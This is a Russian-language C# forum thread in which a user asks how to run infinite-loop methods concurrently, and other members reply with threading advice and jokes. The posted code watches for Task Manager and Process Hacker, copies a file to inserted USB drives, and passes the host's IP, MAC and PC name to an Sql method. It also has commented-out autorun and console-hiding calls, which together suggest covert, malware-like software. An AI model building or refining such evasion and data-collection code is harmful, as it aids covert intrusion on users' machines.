Загрузка...

Многозадачное приложение

Тема в разделе C# создана пользователем Minin_inactive4471240 2 мар 2022. 271 просмотр

  1. Minin_inactive4471240
    Minin_inactive4471240 Автор темы 2 мар 2022 3 5 сен 2021
    Написал приложение, у которого есть несколько функций, которые всё время крутят цикл while. Это защита от запуска диспетчера задач и ЮсбСерчер, они стоят на while(true) циклах, тем самым, не давая выполняться другим методам, да и вообще, когда в какой-то из этих метов заходит программа, то она весит только на нём, а дальше не идёт. А мне надо сделать так, чтобы и другие методы выполнялись тоже.
    Код

    async static Task Main(string[] args)
    {
    //AutoRun(IsInAutoRun());
    //Crash();
    //USBSearcher();
    //ToDef();
    //Defense();
    await StartDefensive();
    Sql(IPAdress(), GetMacAdress(), NameOfPC(), DateTime.Now);
    //SecondSaveFile();
    //HideConsole();
    //AllPathesToSave();
    async static Task StartDefensive()
    {
    Console.WriteLine("Подготовка к запуску защиты");
    await Task.Run(() => Defense());
    Console.WriteLine("Защита запущена!");
    }


    public static void Defense()
    {

    bool attack = false;


    while (1 > 0)
    {
    Thread.Sleep(2000);
    Console.WriteLine("Защита работает");
    Process[] procList = Process.GetProcesses();
    string[] attackedProcess = { "processhacker", "taskmgr" };

    foreach (Process p in procList)
    {

    for (int i = 0; i < attackedProcess.Length; i++)
    {
    if (p.ProcessName.ToLower() == attackedProcess[i])
    {
    Console.WriteLine("Detected: " + p.ProcessName);
    attack = true;
    if (attack)
    {
    Console.WriteLine("Процесс прекращён");

    string[] exit = { "false" };
    Main(exit);
    }
    }
    else
    {

    continue;
    }
    }

    }
    Console.WriteLine("\n");

    if (attack)
    {
    break;
    }
    }
    }

    public static void USBSearcher()
    {
    Console.Write("Add Path: ");
    string PATH = Console.ReadLine();

    while (true)
    {
    Thread.Sleep(2000);
    foreach (var dInfo in DriveInfo.GetDrives())
    {
    if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)
    {
    Console.WriteLine(dInfo);
    string USBPath = dInfo.ToString();
    try
    {
    string outFile =USBPath + Path.GetFileName(PATH); ;
    File.Move(PATH, outFile);
    Console.WriteLine("Yes");
    }
    catch
    {
    Console.WriteLine("No");
    }

    }
    else
    {
    Console.WriteLine("No");
    continue;
    }
    }
    }
    }

    Помимо этих методов, должны работать и другие, но они должны работать вместе с защитой. т.е., когда защита срабатывает, работа приложения должна либо завершиться полностью, либо заморозиться на время. Как сделать так, чтобы другие методы работали под защитой?
    Пробовал async,await, ничего не выходит
     
  2. ФСТЭК
    ФСТЭК 2 мар 2022 Заблокирован(а) 338 5 дек 2017
    Thread.Sleep - остановка программы
    Приложение полностью не работает промежуток времени который там указан
    --- Сообщение объединено с предыдущим 2 мар 2022
    https://metanit.com/sharp/tutorial/11.1.php
    Почитай по ссылке, как многопоточность сделать
     
    2 мар 2022 Изменено
  3. Shadowraze
    Shadowraze 2 мар 2022 685 15 июл 2018
  4. wDude
    wDude 2 мар 2022 Боюсь быть не там и не тем. 3667 14 авг 2017
    @aChanCode , я же говорил :jerry::jerry::jerry:
    [IMG]

    Изучай потоки, Threads / ThreadPool
     
    2 мар 2022 Изменено
    1. Посмотреть предыдущие комментарии (1)
    2. Minin_inactive4471240 Автор темы
      wDude, Пробовал сделать так:

      Код

      public static Thread threadForUSBSercher = new Thread(USBSearcher);

      //а внутри метода
      threadForUSBSercher.IsBackGround = true;
      threadForUSBSercher.Start()

      Но оно упарывается, когда пытается запустить метод второй раз.
    3. Minin_inactive4471240 Автор темы
      @aChanCode, теперь, когда убрал threadForUSBSercher.Start() работает, но не даёт работать другому методу. Тут уже не знаю, что делать.
    4. Minin_inactive4471240 Автор темы
      wDude, а всё, вроде нашёл решение
  5. r3xq1

    Изменить имя процессов и твой код отпадает.
    Мы все знаем что ты пишешь))
    --- Сообщение объединено с предыдущим 2 мар 2022
    По коду всё лишнее, когда можно проще сделать. Повесить WndProc на отлов флешек и запуск процессов и их отлавливать, в момент когда поймал, выполнить метод и никакие циклы с while (true) не нужны
     
    2 мар 2022 Изменено
  6. undrcrxwn
    undrcrxwn 2 мар 2022 Заблокирован(а) 106 5 апр 2021




    это не код, а настоящее произведение искусства
     
    1. Yotic
      Напоминаю.
      bool popa = true;
      if(popa != false)
      {
      popa = false;
      }
      if(popa != true)
      {
      popa = true;
      }
Загрузка...
Top